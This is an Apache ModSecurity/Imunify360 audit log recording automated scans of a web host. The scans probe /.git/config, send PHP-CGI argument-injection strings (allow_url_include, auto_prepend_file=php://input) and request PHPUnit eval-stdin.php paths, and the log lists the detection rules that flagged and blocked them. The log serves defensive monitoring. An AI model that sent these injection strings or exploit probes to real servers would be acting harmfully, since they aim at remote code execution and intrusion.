Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789281473132945 190323 (- - -)
Stopwatch2: 1789281473132945 190323; combined=34352, p1=1075, p2=33189, p3=0, p4=0, p5=87, sr=204, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f40d506d-Z--

--4404271e-A--
[13/Sep/2026:09:59:42.351456 +0300] aqZJ3kwu1RSkptiiNIX1GAAAAIA 216.81.248.147 60982 127.0.0.1 7081
--4404271e-B--
GET /.git/config HTTP/1.1
Host: funshop.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 9; GM1917) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--4404271e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4404271e-E--

--4404271e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Stopwatch: 1789282782302302 49212 (- - -)
Stopwatch2: 1789282782302302 49212; combined=47246, p1=331, p2=46710, p3=148, p4=8, p5=49, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4404271e-Z--

--3dbd9009-A--
[13/Sep/2026:10:02:08.031433 +0300] aqZKcCsVWymXUono-eRTiAAAABY 106.51.22.217 46770 127.0.0.1 7081
--3dbd9009-B--
POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

--3dbd9009-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--3dbd9009-E--

--3dbd9009-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282928024026 7528 (- - -)
Stopwatch2: 1789282928024026 7528; combined=5924, p1=359, p2=5365, p3=140, p4=17, p5=43, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3dbd9009-Z--

--bff0225b-A--
[13/Sep/2026:10:02:09.922426 +0300] aqZKcTTJ6xTvcJoem7f42gAAAEo 106.51.22.217 46786 127.0.0.1 7081
--bff0225b-B--
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

--bff0225b-F--
HTTP/1.1 200 OK
Last-Modified: Tue, 02 Apr 2024 12:21:35 GMT
ETag: "67a-6151c25a371c0"
Accept-Ranges: bytes
Content-Length: 1658
Content-Type: text/html

--bff0225b-E--

--bff0225b-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282929915808 6689 (- - -)
Stopwatch2: 1789282929915808 6689; combined=5081, p1=409, p2=4511, p3=107, p4=16, p5=37, sr=112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bff0225b-Z--

--f0cfa452-A--
[13/Sep/2026:10:02:12.369915 +0300] aqZKdDTJ6xTvcJoem7f42wAAAEM 106.51.22.217 46794 127.0.0.1 7081
--f0cfa452-B--
POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

--f0cfa452-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f0cfa452-E--

--f0cfa452-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||MV:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282932364728 5251 (- - -)
Stopwatch2: 1789282932364728 5251; combined=4021, p1=305, p2=3569, p3=105, p4=11, p5=30, sr=155, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0cfa452-Z--

--162b0c7a-A--
[13/Sep/2026:10:02:14.757174 +0300] aqZKdisVWymXUono-eRTiQAAABE 106.51.22.217 46800 127.0.0.1 7081
--162b0c7a-B--
POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

--162b0c7a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--162b0c7a-E--

--162b0c7a-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||MV:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282934751692 5553 (- - -)
Stopwatch2: 1789282934751692 5553; combined=4236, p1=353, p2=3744, p3=86, p4=11, p5=42, sr=184, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--162b0c7a-Z--

--ec692d5a-A--
[13/Sep/2026:10:02:17.140753 +0300] aqZKeSsVWymXUono-eRTigAAAAU 106.51.22.217 54624 127.0.0.1 7081
--ec692d5a-B--
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

--ec692d5a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ec692d5a-E--

--ec692d5a-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input||MV:-d allow_url_include=on -d auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282937133591 7213 (- - -)
Stopwatch2: 1789282937133591 7213; combined=4997, p1=302, p2=4544, p3=101, p4=13, p5=37, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ec692d5a-Z--

--49f0f642-A--
[13/Sep/2026:10:02:19.637121 +0300] aqZKe0wu1RSkptiiNIX1JgAAAIU 106.51.22.217 54634 127.0.0.1 7081
--49f0f642-B--
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--49f0f642-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--49f0f642-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKe0wu1RSkptiiNIX1JgAAAIU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKe0wu1RSkptiiNIX1JgAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282939571686 65522 (- - -)
Stopwatch2: 1789282939571686 65522; combined=63875, p1=405, p2=59436, p3=0, p4=0, p5=4033, sr=236, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49f0f642-Z--

--3ccae92f-A--
[13/Sep/2026:10:02:21.596052 +0300] aqZKfUwu1RSkptiiNIX1JwAAAII 106.51.22.217 54646 127.0.0.1 7081
--3ccae92f-B--
GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--3ccae92f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3ccae92f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKfUwu1RSkptiiNIX1JwAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKfUwu1RSkptiiNIX1JwAAAII"]
Action: Intercepted (phase 2)
Stopwatch: 1789282941537275 58821 (- - -)
Stopwatch2: 1789282941537275 58821; combined=57533, p1=359, p2=56778, p3=0, p4=0, p5=396, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ccae92f-Z--

--3252872d-A--
[13/Sep/2026:10:02:24.401945 +0300] aqZKgGM7dE9KgIIOpQhtrAAAAMc 106.51.22.217 54676 127.0.0.1 7081
--3252872d-B--
GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--3252872d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3252872d-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKgGM7dE9KgIIOpQhtrAAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKgGM7dE9KgIIOpQhtrAAAAMc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282944343108 58893 (- - -)
Stopwatch2: 1789282944343108 58893; combined=57206, p1=299, p2=56419, p3=0, p4=0, p5=487, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3252872d-Z--

--22ad1c6c-A--
[13/Sep/2026:10:02:26.426337 +0300] aqZKgmM7dE9KgIIOpQhtrQAAANU 106.51.22.217 34818 127.0.0.1 7081
--22ad1c6c-B--
GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--22ad1c6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--22ad1c6c-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKgmM7dE9KgIIOpQhtrQAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKgmM7dE9KgIIOpQhtrQAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282946363086 63294 (- - -)
Stopwatch2: 1789282946363086 63294; combined=61479, p1=361, p2=60782, p3=0, p4=0, p5=335, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--22ad1c6c-Z--

--685cad52-A--
[13/Sep/2026:10:02:28.189656 +0300] aqZKhGM7dE9KgIIOpQhtrgAAANE 106.51.22.217 34828 127.0.0.1 7081
--685cad52-B--
GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--685cad52-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--685cad52-H--
Message: Access denied with code 403 (phase 2). Pattern match "\\/vendor" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "260"] [id "77140967"] [msg "IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_URI||T:APACHE||MV:/vendor/phpunit/phpunit/license/eval-stdin.php"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\\\\\/vendor" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "260"] [id "77140967"] [msg "IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_URI||T:APACHE||MV:/vendor/phpunit/phpunit/license/eval-stdin.php"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "aqZKhGM7dE9KgIIOpQhtrgAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282948186044 3655 (- - -)
Stopwatch2: 1789282948186044 3655; combined=2386, p1=243, p2=1841, p3=0, p4=0, p5=301, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--685cad52-Z--

--68fc846b-A--
[13/Sep/2026:10:02:30.389330 +0300] aqZKhmM7dE9KgIIOpQhtrwAAAMo 106.51.22.217 34850 127.0.0.1 7081
--68fc846b-B--
GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--68fc846b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--68fc846b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKhmM7dE9KgIIOpQhtrwAAAMo"]
